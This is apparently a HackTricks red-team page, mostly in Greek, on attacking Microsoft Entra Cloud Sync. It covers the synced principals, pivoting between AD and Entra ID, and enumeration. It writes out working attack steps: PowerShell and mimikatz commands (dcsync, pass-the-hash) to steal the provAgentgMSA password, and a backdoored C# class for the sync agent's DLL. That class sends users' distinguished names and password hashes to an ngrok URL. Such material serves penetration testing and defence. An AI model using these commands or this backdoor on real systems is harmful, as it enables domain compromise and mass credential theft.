Az - Cloud Sync

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Cloud Sync είναι ουσιαστικά ο νέος τρόπος του Azure για να συγχρονίζει τους χρήστες από το AD στο Entra ID.

Από την τεκμηρίωση: Microsoft Entra Cloud Sync είναι μια νέα προσφορά από τη Microsoft σχεδιασμένη να καλύψει και να πετύχει τους στόχους σας για hybrid identity όσον αφορά το συγχρονισμό χρηστών, ομάδων και επαφών στο Microsoft Entra ID. Το επιτυγχάνει χρησιμοποιώντας τον Microsoft Entra cloud provisioning agent αντί για την εφαρμογή Microsoft Entra Connect. Ωστόσο, μπορεί να χρησιμοποιηθεί παράλληλα με το Microsoft Entra Connect Sync.

Principals που δημιουργούνται

Για να λειτουργήσει αυτό, κάποιες principals δημιουργούνται τόσο στο Entra ID όσο και στον on-premise κατάλογο:

  • Στο Entra ID δημιουργείται ο χρήστης On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) με το ρόλο Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32).

Warning

Αυτός ο ρόλος παλαιότερα είχε πολλά προνομιακά permissions και μπορούσε να χρησιμοποιηθεί για κλιμάκωση δικαιωμάτων ακόμα και σε global admin. Ωστόσο, η Microsoft αποφάσισε να αφαιρέσει όλα τα προνόμια αυτού του ρόλου και να του αναθέσει έναν νέο microsoft.directory/onPremisesSynchronization/standard/read που δεν επιτρέπει πραγματικά την εκτέλεση προνομιακών ενεργειών (όπως η τροποποίηση του password ή των attributes ενός χρήστη ή η προσθήκη νέρου credential σε ένα SP).

  • Στο Entra ID δημιουργείται επίσης η ομάδα AAD DC Administrators χωρίς μέλη ή ιδιοκτήτες. Αυτή η ομάδα είναι χρήσιμη εάν χρησιμοποιείται Microsoft Entra Domain Services.

  • Στο AD είτε δημιουργείται ο Service Account provAgentgMSA με ένα SamAcountName όπως pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), είτε ένα custom account για το οποίο απαιτούνται αυτές οι άδειες. Συνήθως δημιουργείται το default.

Warning

Μεταξύ άλλων δικαιωμάτων, ο Service Account provAgentgMSA έχει δικαιώματα DCSync, επιτρέποντας σε οποιονδήποτε τον συμβιβάσει να συμβιβάσει ολόκληρο τον κατάλογο. Για περισσότερες πληροφορίες σχετικά με το DCSync δείτε εδώ.

Note

Από προεπιλογή, οι χρήστες γνωστών προνομιακών ομάδων όπως οι Domain Admins με το attribute adminCount σε 1 δεν συγχρονίζονται με το Entra ID για λόγους ασφαλείας. Ωστόσο, άλλοι χρήστες που ανήκουν σε προνομιακές ομάδες χωρίς αυτό το attribute ή που τους έχουν ανατεθεί υψηλά προνόμια απευθείας μπορούν να συγχρονιστούν.

Συγχρονισμός Κωδικών

Η ενότητα είναι πολύ παρόμοια με αυτή από:

Az - Connect Sync

  • Η Password hash synchronization μπορεί να ενεργοποιηθεί ώστε οι χρήστες να μπορούν να κάνουν login στο Entra ID χρησιμοποιώντας τους κωδικούς τους από το AD. Επιπλέον, όποτε ένας κωδικός τροποποιείται στο AD, θα ενημερώνεται και στο Entra ID.
  • Η Password writeback μπορεί επίσης να ενεργοποιηθεί, επιτρέποντας στους χρήστες να τροποποιούν τον κωδικό τους στο Entra ID και να συγχρονίζεται αυτόματα ο κωδικός στον on-premise domain. Αλλά σύμφωνα με τα τρέχοντα docs, για αυτό χρειάζεται να χρησιμοποιηθεί ο Connect Agent, οπότε ρίξτε μια ματιά στην ενότητα Az Connect Sync για περισσότερες πληροφορίες.
  • Groups writeback: Αυτή η δυνατότητα επιτρέπει τα membership ομάδων από το Entra ID να συγχρονίζονται πίσω στο on-premises AD. Αυτό σημαίνει ότι αν ένας χρήστης προστεθεί σε μια ομάδα στο Entra ID, θα προστεθεί επίσης και στην αντίστοιχη ομάδα στο AD.

Pivoting

AD –> Entra ID

  • Αν οι χρήστες του AD συγχρονίζονται από το AD στο Entra ID, το pivoting από AD σε Entra ID είναι απλό — απλά κάνεις compromise τον κωδικό κάποιου χρήστη ή αλλάζεις τον κωδικό κάποιου χρήστη ή δημιουργείς έναν νέο χρήστη και περιμένεις μέχρι να συγχρονιστεί στον κατάλογο του Entra ID (συνήθως μόνο λίγα λεπτά).

Έτσι, για παράδειγμα μπορείς:

  • Να συμβιβάσεις τον λογαριασμό provAgentgMSA, να εκτελέσεις επίθεση DCSync, να σπάσεις τον κωδικό κάποιου χρήστη και μετά να τον χρησιμοποιήσεις για να κάνεις login στο Entra ID.
  • Απλά να δημιουργήσεις έναν νέο χρήστη στο AD, να περιμένεις μέχρι να συγχρονιστεί στο Entra ID και μετά να τον χρησιμοποιήσεις για να κάνεις login στο Entra ID.
  • Να τροποποιήσεις τον κωδικό κάποιου χρήστη στο AD, να περιμένεις μέχρι να συγχρονιστεί στο Entra ID και μετά να τον χρησιμοποιήσεις για να κάνεις login στο Entra ID.

Για να συμβιβάσετε τα credentials του provAgentgMSA:

# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Now you could use the hash of the gMSA to perform a Pass-the-Hash attack against Entra ID using the provAgentgMSA account and maintain persistence being able to perform DCSync attacks against the AD.

For more information about how to compromise an Active Directory check:

Active Directory Methodology - HackTricks

Note

Σημειώστε ότι δεν υπάρχει τρόπος να δοθούν Azure ή EntraID roles σε συγχρονισμένους χρήστες βάσει των attributes τους, για παράδειγμα στις Cloud Sync ρυθμίσεις. Ωστόσο, για να δοθούν αυτόματα δικαιώματα σε συγχρονισμένους χρήστες, κάποιες Entra ID groups from AD μπορεί να λάβουν δικαιώματα ώστε οι συγχρονισμένοι χρήστες μέσα σε αυτές τις ομάδες να τα αποκτούν ή να χρησιμοποιηθούν dynamic groups, οπότε πάντα ελέγχετε για dynamic rules και πιθανούς τρόπους κακόβουλης εκμετάλλευσης:

Az - Dynamic Groups Privesc

Regarding persistence this blog post suggest that it’s possible to use dnSpy to backdoor the dll Microsoft.Online.Passwordsynchronisation.dll located in C:\Program Files\Microsoft Azure AD Sync\Bin that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class PasswordHashGenerator and the blog post suggest adding some code so the class looks like (note the use System.Net and the WebClient usage to exfiltrate the password hashes):

using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

Entra ID –> AD

  • If Password Writeback is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the Az Connect Sync section section for more information as the password writeback is configured using that agent.

  • At this point in time Cloud Sync also allows “Microsoft Entra ID to AD”, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchronizing to as you can read in https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

  • These groups can only contain on-premises synchronized users and / or additional cloud created security groups.
  • The on-premises user accounts that are synchronized and are members of this cloud created security group, can be from the same domain or cross-domain, but they all must be from the same forest.

So the attack surface (and usefulness) of this service is greatly reduced as an attacker would need to compromise the initial AD from where the users are being synchronized in order to compromise a user in the other domain (and both must be in the same forest apparently).

Ανίχνευση

# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks